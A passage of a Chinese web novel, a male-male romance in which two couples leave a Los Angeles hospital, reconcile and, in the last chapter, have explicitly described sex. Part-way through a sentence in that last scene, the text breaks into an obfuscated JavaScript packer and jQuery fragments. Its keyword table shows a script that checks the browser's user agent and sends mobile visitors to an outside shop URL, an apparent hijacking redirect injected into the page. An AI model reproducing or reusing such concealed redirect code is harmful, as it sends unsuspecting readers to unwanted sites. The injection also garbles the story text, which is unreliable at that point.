四年前,他们在一起的时候,鹿之言还会主动约他吃饭。学校门口那家麻辣烫,鹿之言总说辣,但还是陪他吃,吃完喝一整瓶牛奶解辣。 现在呢?连一起点个外卖都不肯。 是他变了,还是鹿之言变了? 他正想着,手机震了一下。陆沉远发来消息。 【弟】:鹿炽刚才亲了我两次。 【哥】:………… 【弟】:主动的。 【哥】:你是在跟我炫耀吗? 【弟】:陈述事实。 陆知岩盯着屏幕,气得伤口疼。 他把手机扣在床上,不看了。 鹿之言察觉到他的动静,抬头。 “怎么了?” “没什么。”陆知岩闷闷地说,“就是觉得,我弟命真好。” 鹿之言皱眉:“什么意思?” 陆知岩不说话。 鹿之言看了他几秒,忽然明白了。 “你是想说鹿炽对陆沉远好,我对你不好?” 陆知岩还是不说话。 鹿之言放下病历,看着他。 “陆知岩。” “……嗯。” “你几岁了?” “三十。” “三十岁的人,跟弟弟吃醋?” 陆知岩终于转过头,看着他。 “我不是吃醋。”他说,“我就是想不明白。” “想不明白什么?” “想不明白你。”陆知岩说,“你明明回来了,人也在这儿,心也在——我看得出来。但你就是……不肯靠近我。” 鹿之言没说话。 “以前你还会主动牵我的手。”陆知岩声音低下去,“现在都是我在牵你。以前你还会突然亲我一下,然后跑掉。现在别说亲了,我开口要你都不给。” 他顿了顿。 “我知道四年前是我的错。你生病我没发现,你提分手我没追,你消失我没找到。但你回来了,为什么还是这么远?” 病房里安静了几秒。 鹿之言看着他,眼神很复杂。 “你觉得,”他开口,“我对你远?” 陆知岩点头。 鹿之言沉默了一会儿。 然后他站起来,走到陆知岩床边。 “往里挪。” 陆知岩愣了一下,赶紧往旁边挪。 鹿之言在他床边坐下,很近,近到陆知岩能闻到他身上消毒水混合洗衣液的味道。 “陆知岩。”鹿之言说,“我不是远。” 他顿了顿。 “我只是……不会了。” 陆知岩看着他。 “四年。”鹿之言说,“四年没跟任何人亲近过。你不知道怎么开口要,我也不知道怎么主动给。” 他垂下眼睫。 “不是不想给。是不敢。” 陆知岩心脏一疼。 “我总怕,”鹿之言继续说,“怕我靠近你,你又不见了。怕我习惯了有你,你又走了。怕这一次还是同样的结局。” 他声音很轻。 “陆知岩,我三十岁了。没那么多四年可以浪费。” 陆知岩伸手,握住他的手。 “不会了。”他说,“之言,我不会再让你走了。” 鹿之言看着他。 “你保证?” “我保证。” 鹿之言沉默了几秒。 然后他低头,在陆知岩嘴唇上碰了一下。 很轻,很快。像蜻蜓点水。 陆知岩傻了。 “你、你……” “不是要亲吗。”鹿之言耳尖微红,“亲了。” 陆知岩回过神,一把抓住他的手。 “再来一下 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“你今天晚上还亲我吗?” 鹿之言没抬头:“看你表现。” 陆知岩立刻坐直——牵动伤口,疼得龇牙,但还是坚持坐直。 “我表现很好!”他说,“今天输液没喊疼,午饭吃完了,午睡睡着了,下午还配合护士换药……” 鹿之言抬眼看他:“这些不是应该的吗?” 陆知岩噎了一下。 “那、那什么是额外表现?” 鹿之言想了想。 “不天天追着我要亲亲。” 陆知岩沉默了。 这个他做不到。 晚上,鹿炽来三楼送水果。 他推门进来,看见陆知岩躺在床上,表情萎靡。鹿之言坐在窗边看手机,表情平静。 “哥。”鹿炽把水果放下,“你们吃饭了吗?” “吃了。”鹿之言说。 “吵架了?” “没有。” “那知岩哥怎么看起来……” “他在闹脾气。”鹿之言说,“不用管。” 陆知岩委屈地看了鹿之言一眼,没说话。 鹿炽看看他哥,又看看陆知岩,大概明白了。 他放下水果,说:“那我先下去了,沉远还等我。” “嗯。”鹿之言点头,“早点休息。” 鹿炽走到门口,又回头。 “哥,”他说,“知岩哥其实很好哄的。” 鹿之言没说话。 “你只要主动一下,他就很开心了。”鹿炽说,“他喜欢你那么多年,等了你那么久,就是想你多看看他。” 他说完,轻轻关上门。 病房里安静了几秒。 鹿之言站起来,走到陆知岩床边。 陆知岩抬眼看他,眼神可怜巴巴的。 鹿之言叹了口气。 他俯身,在陆知岩额头上亲了一下。 然后是眉心。 然后是鼻尖。 然后停在嘴唇上方,不到一厘米的地方。 陆知岩连呼吸都停了。 “陆知岩。”鹿之言轻声说。 “嗯……” “以后想要什么,直接说。” “说了你就给吗?” 鹿之言想了想。 “看情况。” “那现在这个情况呢?” 鹿之言没回答。 他低头,吻上陆知岩的唇。 这次不是蜻蜓点水。是一个真正的、漫长的、成年人的吻。 吻完,他直起身。 “这个情况,”他说,“可以给。” 陆知岩躺在床上,脑子一片空白。 他只知道他在笑。 笑得很傻。 鹿之言看着他,嘴角微微弯了一下。 “傻子。”他轻声说。 但语气是温柔的。 隔壁病房,陆沉远刚吃完鹿炽削的苹果。 他看着鹿炽把水果刀收好,忽然说:“鹿炽。” “嗯?” “你今天亲了我五次。” 鹿炽愣了一下,然后脸红了。 “你……你数这个干嘛……” “没干嘛。”陆沉远说,“就是记一下。” 鹿炽低着头,不说话。 陆沉远伸手,握住他的手。 “明天可以继续吗?” 鹿炽抬起头,看着他。 “……可以。” 陆沉远笑了。 夜色温柔。 两间病房,四个人。 一个傻笑着看天花板,一个坐在他床边看手机。 一个握着爱人的手,一个低头假装看书。 都是苦尽甘来。 都是失而复得。 都是“还好你还在”。 27. 我睡客房 出院那天,洛杉矶难得下了场小雨。 陆知岩站在病房窗前,看着窗外雾蒙蒙的天,心情却格外晴朗。肋骨虽然还缠着绷带,但医生说恢复得很好,再养两周就差不多了。 鹿之言在收拾东西。其实也没什么好收的——住院这些天,除了换洗衣物,就是些杂七杂八的生活用品。他把衣服叠好放进行李箱,又把充电器、水杯、那束蔫了的洋桔梗拿起来看了看,还是没舍得扔,包了张纸巾塞进背包侧袋。 “之言,”陆知岩转过头,“那花都蔫了。” “我知道。”鹿之言没抬头。 “回去我给你买新的。” 鹿之言动作顿了一下,没应声,但嘴角很轻地弯了一下。 陆沉远和鹿炽的行李更少。陆沉远的左肩还固定着支具,能帮忙的事有限。鹿炽几乎包揽了所有活,把两人的东西收拾得整整齐齐。 “药带齐了吗?”陆沉远问。 “带齐了。”鹿炽把分装好的药盒给他看,“早上一板,中午一板,晚上一板。” “外敷的呢?” “在这儿。”鹿炽又从包里掏出两管药膏,“医生说每天换一次,我给你换。” 陆沉远看着他一样样往外掏东西、又一样样放回去,那股认真劲儿让他心里又软又酸。 “鹿炽。”他叫他。 “嗯?” “过来一下。” 鹿炽放下包,走到床边。 陆沉远用没受伤的右手拉住他,把他带到自己跟前。 “这些天辛苦你了。” 鹿炽摇摇头:“不辛苦。” “每天跑来跑去,睡不好觉,还要给我换药喂饭……” “我愿意的。”鹿炽打断他,声音轻轻的,“你快点好起来,我就不辛苦了。” 陆沉远看着他。鹿炽瘦了一点,眼下有淡淡的青黑,但眼睛还是亮晶晶的。 他伸手,把鹿炽拉进怀里。 鹿炽没挣扎,小心地避开了他左肩的位置,把脸靠在他右边胸口。 “陆沉远。” “嗯。” “回家以后,我们还能像在医院这样吗?” 陆沉远低头看他:“怎样?” “就是……”鹿炽顿了顿,“天天见面。” 陆沉远笑了:“我家离你家打车二十分钟。” “那算远还是近?” “你想见我的时候,”陆沉远说,“二十分钟就不算远。” 鹿炽把脸埋进他衣服里,轻轻“嗯”了一声。 另一边,陆知岩看着弟弟和鹿炽腻歪,酸得牙疼。 “之言,”他转头看向鹿之言,“我们也抱一下?” 鹿之言面无表情地把最后一件衣服塞进箱子:“东西收好了,走吧。” “就一下?” “车上再抱。” “车上抱不算!”陆知岩急了,“车上那叫同乘,不叫拥抱!” 鹿之言拉上行李箱拉链,拎着包往外走。 陆知岩委屈巴巴地跟在后面,走到门口还回头看了眼窗边那对抱在一起的人,心里更酸了。 办完出院手续,四人在大厅集合。 陆沉远忽然想起一件事。 “哥,”他叫住陆知岩,“我们租的那辆车呢?” 那辆保时捷,出事那天晚上他停在观景台,后来救护车来了,直接把他和鹿炽拉到医院,车就一直扔在那儿。 “我让人拖走了。”陆知岩说。 “拖去哪儿了?要还的。” “还什么。”陆知岩掏出手机,划拉两下给他看,“买了。” 陆沉远看着屏幕上的电子合同和支付凭证,愣了一下。 “你……” “你不是挺喜欢这车吗。”陆知岩把手机揣回口袋,“就当补你的生日礼物。前几年的都补上。” 陆沉远没说话。 陆知岩拍拍他的右肩:“行了,别感动。等你全好了自己开回去。” 他说完转身,搂着鹿之言往外走。 陆沉远站在原地,看着他的背影。 “陆沉远?”鹿炽轻轻碰了碰他的手。 陆沉远回过神。 “没什么。”他说,“就是觉得……我哥有时候也挺好的。” 鹿炽笑了:“他一直都挺好。” “以前不是这样。”陆沉远说,“以前他很冷,对谁都不热络。遇见你哥以后才慢慢变了。” 鹿炽想了想:“那我哥也挺好的。” 陆沉远看着他,忽然笑了。 “是。你们家人都挺好。” 鹿炽脸红了,低头假装看手机。 四人两车,驶出医院停车场。 玛莎拉蒂在前,保时捷在后。雨已经停了,路面还是湿的,倒映着城市的灯火。 陆知岩开车,鹿之言坐副驾。两人都没说话,但气氛很安静。 等红灯的时候,陆知岩忽然伸手,握住鹿之言放在膝盖上的手。 鹿之言没抽开。 “之言。” “嗯。” “沉远那车的事,”陆知岩顿了顿,“你不会有意见吧?” “为什么要有意见?” “毕竟是你弟……和我弟……”陆知岩斟酌着措辞,“我是说,会不会太贵重了?” 鹿之言转头看他:“你觉得我会计较这个?” “不是计较。”陆知岩说,“我是怕你觉得我乱花钱。” 鹿之言看了他几秒,然后说:“你开玛莎拉蒂,买保时捷送你弟,现在跟我说怕我觉得你乱花钱?” 陆知岩噎住了。 “花都花了。”鹿之言转回去看窗外,“别问我。” 陆知岩看着他侧脸,忽然笑了。 “之言。” “嗯。” “你刚才那个表情,”他说,“很像‘我老公真有钱’。” 鹿之言转头瞪他:“谁是你老公?” “你是我老公。”陆知岩立刻改口,“我是你老公也行。” 鹿之言:“……” 他懒得理他,但手没抽回去。 到家已经快十点了。 陆知岩在洛杉矶的这套房子是前年买的,山顶独栋,落地窗正对着城市夜景。鹿之言来过几次,但每次都来去匆匆,没仔细看过。 今天是他第一次以“住客”的身份踏进这扇门。 “拖鞋在鞋柜里。”陆知岩弯腰要拿,牵动伤口,倒吸一口凉气。 “我来。”鹿之言按住他,自己打开鞋柜,拿出两双拖鞋。 一双深灰,一双浅灰。码数不一样,显然是专门准备的。 鹿之言没说话,换了鞋,把行李拎进去。 客厅很大,沙发正对着那扇巨大的落地窗。夜色里,洛杉矶的灯火像散落的碎钻,从山脚一直铺到天边。 “好看吧?”陆知岩走到他身边,“当初买这套房子,就是因为这个景。” 鹿之言没说话。 “我想着,”陆知岩声音放轻了些,“等找到你了,带你来看。” 他顿了顿。 “就知道你会喜欢。” 鹿之言转头看他。 陆知岩的侧脸被窗外的光映出轮廓。三十岁了,眉眼间还有当年那个少年的影子。 “陆知岩。”鹿之言开口。 “嗯?” “客房在哪儿?” 陆知岩表情僵了一瞬。 “……三楼。” “我先去收拾。” 鹿之言拎着行李上楼,留下陆知岩一个人站在客厅,望着落地窗外的夜景。 他站了很久。 陆沉远和鹿炽到的时候,已经是半小时后了。 陆沉远有这栋房子的门禁权限——陆知岩给的,说“万一我有事你直接进来”。他从来没正式用过,今天是第一次。 客厅里没开灯,陆知岩一个人坐在沙发上,对着窗外出神。 “哥?”陆沉远走过去,“你怎么了?” 陆知岩回过神:“没什么。你们去休息吧,二楼右手边那间。” “你呢?” “我等会儿上去。” 陆沉远看了他几秒,没再问。他带着鹿炽上楼,轻轻关上门。 客厅又安静下来。 陆知岩继续望着窗外,手指无意识地在膝盖上敲着。 不知道过了多久,楼梯上传来脚步声。 鹿之言走下来。 “客房没找到被子。”他站在楼梯口,语气平淡。 陆知岩转头看他。 “在主卧衣柜最上层。”他说。 鹿之言点点头,转身要上楼。 “之言。”陆知岩叫住他。 鹿之言停下脚步。 “你……”陆知岩张了张嘴,想说什么,又咽回去了,“算了,你先休息吧。” 鹿之言没动。 他站在楼梯上,背对着客厅。灯光从他身后照过来,在地板上投出长长的影子。 沉默了几秒,他转身,走回沙发边。 “陆知岩。”他坐下来,“你到底想说什么?” 陆知岩看着他,不说话。 鹿之言也不催。 窗外的城市灯火明明灭灭,夜航的飞机从天空划过,闪着红白相间的光。 “之言。”陆知岩终于开口。 “嗯。” “你是不是……不想住这儿?” 鹿之言皱眉:“为什么这么问?” “因为你一来就问客房。”陆知岩声音很低,“因为这四天你都在躲我。” 鹿之言没说话。 “在医院还有借口,”陆知岩说,“病人、家属、隔床不方便。现在回家了,还是不方便。” 他顿了顿。 “你是不是……根本不想跟我住一起?” 鹿之言看着他。 “陆知岩,”他开口,“你知道我为什么问客房吗?” 陆知岩摇头。 “因为你说那是客房。”鹿之言说,“你从来没跟我说过,主卧是给谁准备的。” 陆知岩愣住了。 “从进门到现在,”鹿之言继续说,“你说这房子是你买的,说夜景是为我准备的,说你等了我四年。但你从来没说过——” 他顿了一下。 “——这房子也是给我的。” 陆知岩张着嘴,半天没说出话。 他以为他说了。他以为他买了房子、留了位置、准备了情侣拖鞋,就是说了。 但他没有。 他从来没说过“这是我们的家”。 “之言……”他声音发哑。 鹿之言没等他开口。 “还有,”他说,“这些天不是躲你。” “那是什么?” 鹿之言沉默了几秒。 “是在想,”他轻声说,“该怎么回来。” 陆知岩看着他。 “四年太久了。”鹿之言说,“久到我不知道该怎么跟你相处。久到我不知道你变了没有,不知道你还喜不喜欢我,不知道这份感情还在不在。” 他垂下眼睫。 “你一直在主动。开口要亲要抱,说不给也不生气,第二天还是要。我看着你,觉得你好像没变,但又怕你只是在迁就我。” 他顿了顿。 “怕你等得太久,等的已经不是我了。” 陆知岩心脏像被人攥住了。 “不是的。”他说,“之言,不是的。” “我知道。”鹿之言抬眼看他,“今晚听你说这些,就知道了。” 他站起来。 “被子我自己去拿。你早点休息。” 他转身上楼。 这一次,陆知岩没有叫住他。 深夜两点,陆沉远醒了。 他睁开眼,盯着陌生的天花板,花了几秒才反应过来这是哪儿。 洛杉矶。陆知岩的房子。二楼客房。 鹿炽在他旁边睡着了,呼吸平稳,睡得很沉。 陆沉远轻轻抽出被他枕着的手臂,小心地没吵醒他。 他躺了一会儿,睡不着。 总觉得今晚有什么事不太对劲。 他披上外套,轻手轻脚地下楼。 客厅还是黑的。他刚走到楼梯拐角,忽然停住了。 有人在哭。 声音很轻,压抑的,破碎的。从三楼传下来。 陆沉远脚步顿了一下 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他不知道该怎么告诉鹿之言:这四年他每天醒来第一件事就是查鹿之言的消息,每年鹿之言的生日他都会去他们第一次约会的餐厅坐一整天,每个失眠的夜里他都会翻来覆去地想—— 如果当年他再坚持一点,再主动一点,再聪明一点,是不是就不会弄丢他了? 门开了。 鹿之言站在门口。 他穿着那件灰色的浴袍,头发还有点湿。显然是刚洗完澡,听见动静就过来了。 “陆知岩。”他走过来,“怎么了?” 陆知岩没说话。他低着头,眼泪还在流,怎么也止不住。 鹿之言在他面前蹲下,伸手想碰他的脸。 陆知岩握住他的手腕。 “之言。”他开口,声音哑得像砂纸磨过玻璃。 “嗯。” “我……”他哽咽了一下,“我做过很多错事。” 鹿之言没说话。 “你生病我没发现。”陆知岩说,“你提分手我没追。你消失四年,我没找到你。” 他顿了顿。 “你回来以后,我天天缠着你,要亲要抱要贴贴。你不给,我就闹。你给了,我又想要更多。” 他的眼泪落在鹿之言的虎口。 “我知道这样很烦。我自己都觉得自己烦。” “可我不知道该怎么办。”他抬起头,看着鹿之言的眼睛,“之言,我真的不知道该怎么办。” “我怕你一转身又不见了。怕你再也不回来。怕你其实没那么喜欢我了,只是可怜我。” “我三十岁了。”他声音发抖,“三十岁的人,还像个小孩一样追着你要糖吃。我弟都比我成熟,你弟也比你主动。” “我也想成熟一点,稳重一点,给你留点空间。可是我好怕。” “我怕我稍微松手,你就又跑了。” 他低下头,把脸埋进自己的手心里。 “我好怕……” 鹿之言看着他。 认识陆知岩十四年,他从来没见过他这个样子。 十六岁的陆知岩是张扬的,意气风发,追他追得全校皆知。二十一岁的陆知岩是骄傲的,分手时只说了一句“你确定吗”,然后转身离开。 二十六岁订婚宴上重逢,陆知岩是愤怒的,把他塞进车里质问为什么走。 只有现在,三十岁的陆知岩,像个终于迷路走不动的小孩,在他面前哭着说“我好怕”。 鹿之言伸手,轻轻捧起他的脸。 “陆知岩。” 陆知岩抬起眼睛,睫毛湿成一缕一缕的,眼眶红得厉害。 “看着你。” 陆知岩看着他。 “这四年,”鹿之言说,“我也没有一天不想你。” 陆知岩愣住了。 “生日那天,我会想你在干什么。情人节,我会想你有没有送别人花。过年回家,我会想你会不会突然出现在我家楼下。” 他顿了顿。 “每次路过医院门口那家奶茶店,我都会停下来,想我们以前一起排队买奶茶的样子。” “我以为你恨我。”陆知岩声音哽咽,“以为你后悔认识我……” “不是。”鹿之言说,“从来没有。” 他凑近了些。 “我走,是因为觉得自己配不上你。不是不爱你。” “你回来,是因为还是放不下你。不是可怜你。” 他握住陆知岩的手,十指相扣。 “陆知岩,你听好。” 陆知岩屏住呼吸。 “这四年我过的每一天,”鹿之言一字一顿,“都是因为想着你,才撑过来的。” 陆知岩的眼泪又涌出来。 鹿之言没帮他擦。他只是张开手臂,把陆知岩抱进怀里。 陆知岩的眼泪落在他颈侧,滚烫的,一颗接一颗。 “对不起。”陆知岩埋在他肩窝里,声音闷闷的,“对不起……” “嗯。”鹿之言轻轻拍着他的背,“知道。” “我以后不烦你了……” “可以烦。” 陆知岩抬头看他。 鹿之言的耳尖是红的,但表情很认真。 “每天都烦也可以。”他说,“烦一辈子也可以。” 陆知岩看着他,眼泪还在流,但嘴角慢慢弯了起来。 “真的?” “真的。” “那你以后还睡客房吗?” 鹿之言沉默了两秒。 “……不了。” 陆知岩把脸埋回他肩窝,紧紧抱住他。 窗外,洛杉矶的夜色很深,城市灯火在远处明明灭灭。 主卧的灯一直亮到很晚。 陆知岩终于哭累了,枕着鹿之言的肩膀睡着了,手还攥着他的衣角,像怕他跑掉。 鹿之言没动。 他看着天花板,听着陆知岩平稳的呼吸声。 四年了。 他终于又听到这个声音了。 28. 这个是第二版,当一个番外发吧 出院那天,洛杉矶难得下起了小雨。 陆沉远站在病房窗前,看着窗外朦胧的街景,忽然想起一件事。 “哥。”他转头看向正在办出院手续的陆知岩,“我那辆租的车呢?” 陆知岩头也不抬:“买了。” “……什么?” “买了。”陆知岩把单子递给鹿之言,“那家租车公司正好有二手车业务,我看车况不错,直接过户了。” 陆沉远愣了两秒:“多少钱?” “没多少。” “多少?” 陆知岩报了个数。 陆沉远沉默了。那个数字够买两辆新车。 “哥,”他说,“你不用这样。” 陆知岩终于抬头看他:“哪样?” “替我做决定。”陆沉远说,“那是我的事。” 陆知岩看了他几秒,没说话。 鹿之言在旁边听着,默默把出院材料收进包里。鹿炽站在陆沉远身边,看看他,又看看陆知岩,没敢出声。 “沉远。”陆知岩开口,“那辆车,不是替你买的。” 陆沉远皱眉。 “是送你和小炽的。”陆知岩说,“来美国一趟,总不能空手回去。” 陆沉远愣了一下。 “再说了,”陆知岩顿了顿,“你哥我当年追你哥的时候,连自行车都是借的。现在有条件了,不想让你们也那样。” 鹿之言在旁边轻声说:“你那自行车是借的?” “……那是另一回事。” 陆沉远看着他哥,忽然不知道该说什么。 “谢谢。”他最后说。 陆知岩摆摆手,没再继续这个话题。 四人办好出院手续,走出医院。雨已经停了,空气里是雨后特有的清新味道。 那辆玛莎拉蒂和保时捷并排停在停车场。陆知岩把保时捷的车钥匙扔给陆沉远。 “试试你的新车。” 陆沉远接住钥匙,低头看了看。 鹿炽站在他旁边,小声说:“我们有自己的车了?” “嗯。”陆沉远说,“我们的。” 鹿炽眼睛亮了一下,没说话,但嘴角忍不住往上翘。 回住处的路上,陆沉远开得很稳。 鹿炽坐在副驾驶,时不时看看窗外,又看看他。 “陆沉远。”他忽然开口。 “嗯。” “你哥对你真好。” 陆沉远沉默了几秒。 “他以前不是这样的。”他说,“以前很忙,一年见不了几次。” 鹿炽等着他往下说。 “后来……”陆沉远顿了顿,“后来他找回鹿医生,就变了。” 他没说完,但鹿炽懂了。 有些人,自己幸福了,才懂得怎么让别人幸福。 回到住处,陆知岩把行李搬进屋,第一件事就是躺沙发上。 “还是家里舒服。”他长出一口气。 鹿之言看了他一眼:“你肋骨还没好透,别躺这么平。” “那你扶我起来?” 鹿之言没理他,转身上楼放行李。 陆知岩躺在那儿,望着天花板,嘴角带着笑。 鹿炽和陆沉远也进了屋。他们住一楼客房,和二楼的主卧隔着楼梯。 “先休息会儿。”陆沉远说,“晚上想吃什么?” “随便。”鹿炽把包放下,“你饿吗?” “还好。” 两人在床边坐着,有一搭没一搭地说话。 空气里弥漫着一种久违的松弛。从出事到住院,将近两个星期,每天都在紧张中度过。现在终于回家了,什么都不用想,什么都不用做。 鹿炽靠在陆沉远肩上,慢慢闭上眼睛。 陆沉远偏头看他,没动。 窗外的天色渐渐暗下来。 晚饭是外卖。四个人围在餐桌边,安静地吃。 陆知岩今天话很少。鹿之言夹什么他吃什么,也不像平时那样讨价还价要亲亲。 鹿之言看了他几眼,没问。 鹿炽和陆沉远对视一眼,默契地低头吃饭。 饭后,鹿之言去洗碗。陆知岩站在厨房门口,看着他。 “之言。” “嗯。” “今晚我能睡主卧吗?” 鹿之言手顿了一下。 “你本来不就睡主卧。” “我是说,”陆知岩顿了顿,“一起睡。” 鹿之言没回头。 水流哗哗地冲着碗盘。 “你肋骨还没好。”他说。 “好得差不多了。” “医生说要再养一周。” “躺着不影响。” 鹿之言关上水龙头,把碗放进沥水架。 “随便你。”他说。 陆知岩笑了。 鹿炽和陆沉远早早就回房了。 鹿炽洗完澡出来,陆沉远正靠在床头看书。还是那本物理竞赛习题集。 “你天天看,不腻吗?”鹿炽擦着头发走过去。 “挺有意思的。”陆沉远说,“以前没认真学过,现在发现物理其实挺美。” 鹿炽在他床边坐下。 “哪里美?” 陆沉远想了想:“所有的现象都有公式解释。不管多复杂,总能找到规律。” 他顿了顿,看着鹿炽:“比人心简单多了。” 鹿炽愣了一下,然后笑了。 “你是在夸物理,还是在骂我?” “夸你。”陆沉远说,“你比物理复杂,也比物理美。” 鹿炽耳尖红了。 他把毛巾搭在椅背上,钻进被窝。 “睡吧。”他小声说,“明天还要倒时差。” 陆沉远放下书,关了灯。 黑暗中,两人并排躺着,谁都没说话。 过了很久,鹿炽开口。 “陆沉远。” “嗯。” “你睡着了吗?” “没有。” 鹿炽翻了个身,面向他。 “我也睡不着。” 陆沉远没说话,只是伸手,握住了他的手。 十指相扣。 鹿炽轻轻呼出一口气。 他们就这样牵着手,慢慢睡着了。 凌晨两点,陆知岩醒了。 不是因为疼。伤口已经不怎么疼了。是因为鹿之言在他怀里。 这是他四年来第一次,在深夜抱着鹿之言入睡。也是鹿之言回来后,第一次没有背对着他。 他低头,看着鹿之言的睡颜。 月光从窗帘缝隙漏进来,落在那张他思念了四年的脸上。 陆知岩看了很久。 然后,他哭了。 不是嚎啕大哭,是那种压抑的、无声的流泪。眼泪顺着眼角滑下来,洇进枕头里。 他不想吵醒鹿之言,但控制不住。 “陆知岩。” 鹿之言的声音在黑暗中响起。 陆知岩僵住了。 “你哭什么?” 鹿之言睁开眼,看着他。 陆知岩没说话,只是把他搂得更紧。 鹿之言没挣开。他抬手,摸了摸陆知岩的脸,摸到一手湿。 “……做噩梦了?” 陆知岩摇头。 “伤口疼?” 还是摇头。 “那你哭什么?” 陆知岩把脸埋进他肩窝,声音闷闷的。 “我害怕。” 鹿之言顿了一下。 “怕什么?” “怕你还在怪我。” 陆知岩声音发颤。 “怕你做这些都是因为我缠着你,不是真的想回来。怕哪天一觉醒来你又不在了。” 他顿了顿。 “怕我这辈子都等不到你亲口说原谅我。” 鹿之言沉默了。 “我知道我做过很多错事。”陆知岩继续说,“四年前你生病我没发现,你提分手我没追,你消失我没找到。你回来以后,我又总是逼你,缠你,要你亲我要你抱我……” 他声音越来越低。 “可我改了。真的改了。我现在会看你的表情,会注意你累不累,会学着不那么霸道……” “陆知岩。”鹿之言打断他。 陆知岩抬起头,眼睛红红的,睫毛还挂着泪。 鹿之言看着他。 这个人,三十岁了。在商场上雷厉风行,说一不二。此刻却像个委屈的孩子,缩在他怀里哭。 “我没怪你。”鹿之言说。 陆知岩愣了一下。 “四年前的事,我早就不怪了。”鹿之言声音很轻,“我只是……不知道怎么回来。” 他顿了顿。 “不是不想。是不会。” 陆知岩看着他,眼泪又开始往下掉。 鹿之言抬手,擦掉他脸上的泪。 “我不是被你缠回来的。”他说,“我是自己想回来的。” 陆知岩哽咽着:“真的?” “真的。” “那你喜欢我吗?” 鹿之言没回答。 他凑近,吻上陆知岩的唇。 这个吻很长,很温柔。带着这四年所有的思念,所有的后悔,所有的犹豫和最后的决心。 吻完,他退开一点。 “喜欢。”他说,“不喜欢怎么会让你抱。” 陆知岩愣了两秒。 然后他翻身,把鹿之言压在身下。 “陆知岩!你肋骨——” “不管了。” 他低头,狠狠吻上去。 这个吻和刚才不一样。带着四年压抑的渴望,带着失而复得的后怕,带着“我终于等到你”的疯狂。 鹿之言被他吻得喘不上气,手抓着他的背,指甲陷进衬衫里。 “等、等一下……”他偏头躲开,“你伤……” “你轻点不就行了。” “我说的是你的伤!” “我的伤没事。”陆知岩吻他的耳垂,“你的声音小点就行。” 鹿之言脸一下子红了。 “你……” “之言。”陆知岩在他耳边,声音哑得不成样子,“我忍了四年了。” 鹿之言看着他,没说话。 “四年。”陆知岩说,“一千四百六十天。每天醒来都在想你,每天睡前都在想如果能再见到你,我一定……” 他顿了一下。 “一定把你操到下不了床。” 鹿之言:“……” “你这四年就想了这个?” “也不全是。”陆知岩认真地说,“还想了怎么找你,怎么认错,怎么把你哄回来。” 他顿了顿。 “然后怎么把你操到下不了床。” 鹿之言沉默了两秒。 “陆知岩,”他说,“你真的是……” 话没说完,被吻住了。 这次鹿之言没再躲。 他抬手,搂住陆知岩的脖子。 接下来的事,像一场蓄谋已久的暴风雨。 陆知岩确实很凶。四年没做,所有的克制都在今晚崩盘。他吻遍鹿之言的全身,在他锁骨留下红痕,在他腰侧留下指印。 鹿之言咬着嘴唇,不让自己发出声音。 “别咬。”陆知岩吻他的嘴角,“我想听。” 鹿之言瞪他,眼角泛红。 陆知岩笑了一下,动作却没有丝毫放缓。 “你故意的……”鹿之言声音发颤。 “嗯。”陆知岩承认,“故意让你出声。” “你……” “让隔壁也听听。”陆知岩低头吻他,“让他们知道,我老婆有多爱我。” 鹿之言想骂他,但出口的全是破碎的呻吟。 他只能抓紧床单,承受这一波又一波灭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271919|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶的快感。 隔壁房间,鹿炽被吵醒了。 他迷迷糊糊睁开眼,听见一些细微的声响。 然后他意识到那是什么。 鹿炽脸一下子红了。 陆沉远也醒了。他侧耳听了几秒,沉默地把被子往上拉了拉。 “睡吧。”他说,“当没听见。” 鹿炽把脸埋进枕头里,闷闷地“嗯”了一声。 但那声音断断续续,隔着墙和门,若有若无。 鹿炽翻来覆去,睡不着。 陆沉远也没睡。 又过了十分钟,鹿炽掀开被子坐起来。 “我……”他小声说,“我想喝水。” 他下床,走到桌边倒了杯水,慢慢喝完。 然后他没回自己的床。 他走到陆沉远床边。 陆沉远看着他。 鹿炽站着,手里还握着空杯子,脸很红,但没有躲开视线。 “陆沉远。”他说。 “嗯。” “我们……” 他顿了顿。 “我们再做一次好不好?” 陆沉远看着他。 “你确定?” 鹿炽点头。 陆沉远沉默了几秒。 然后他伸手,把鹿炽拉进被窝。 “冷。”他说,“进来暖一下。” 鹿炽缩在他怀里,心跳得很快。 “不是冷。”他小声说。 “那是什么?” 鹿炽没说话。他只是抬头,看着陆沉远。 那双眼睛在黑暗中很亮,带着紧张,也带着期待。 陆沉远低头,吻上他的额头。 “可以吗?”他问。 鹿炽点头。 “疼要告诉我。” “嗯。” “不舒服要说。” “嗯。” “想停就停。” “知道了。”鹿炽看着他,“你怎么每次都这么多话。” 陆沉远顿了一下。 “因为怕。” “怕什么?” “怕你受伤。”陆沉远说,“怕你疼。怕你明明不舒服还忍着。” 鹿炽没说话。 他凑近,主动吻上陆沉远的唇。 “不会忍了。”他轻声说,“难受会告诉你。” 陆沉远看着他。 “舒服也会告诉你。”鹿炽小声补充,“以后什么都告诉你。” 陆沉远没说话。 他只是把鹿炽搂进怀里,很轻,很珍惜。 这一次和第一次不一样。 他们不再那么紧张,那么小心翼翼。鹿炽学会了回应,学会了说“这里”“轻一点”“可以再重一点”。 陆沉远学会了听。听他的呼吸,听他的声音,听那些没说出口的喜欢。 窗外,洛杉矶的夜色很安静。 二楼的声音不知什么时候停了。 一楼的房间里,两个年轻人在黑暗中拥抱。 “陆沉远。”鹿炽忽然说。 “嗯。” “我爱你。” 陆沉远没说话。 他只是把鹿炽搂得更紧。 过了很久,久到鹿炽以为他睡着了。 “我也爱你。”陆沉远说。 “比你爱我更久。” 鹿炽愣了一下。 “你什么时候开始喜欢的?”他问。 陆沉远沉默了一会儿。 “高一。”他说,“你第一次考第一,上台领奖,阳光照在你脸上。” 他顿了顿。 “我觉得这个人怎么这么好看。” 鹿炽把脸埋进他胸口。 “你怎么从来没说过……” “不敢说。”陆沉远说,“怕吓到你。” 鹿炽闷闷地笑了。 “现在不怕了?” “怕。”陆沉远说,“但还是说了。” 鹿炽没说话,只是把他抱得更紧。 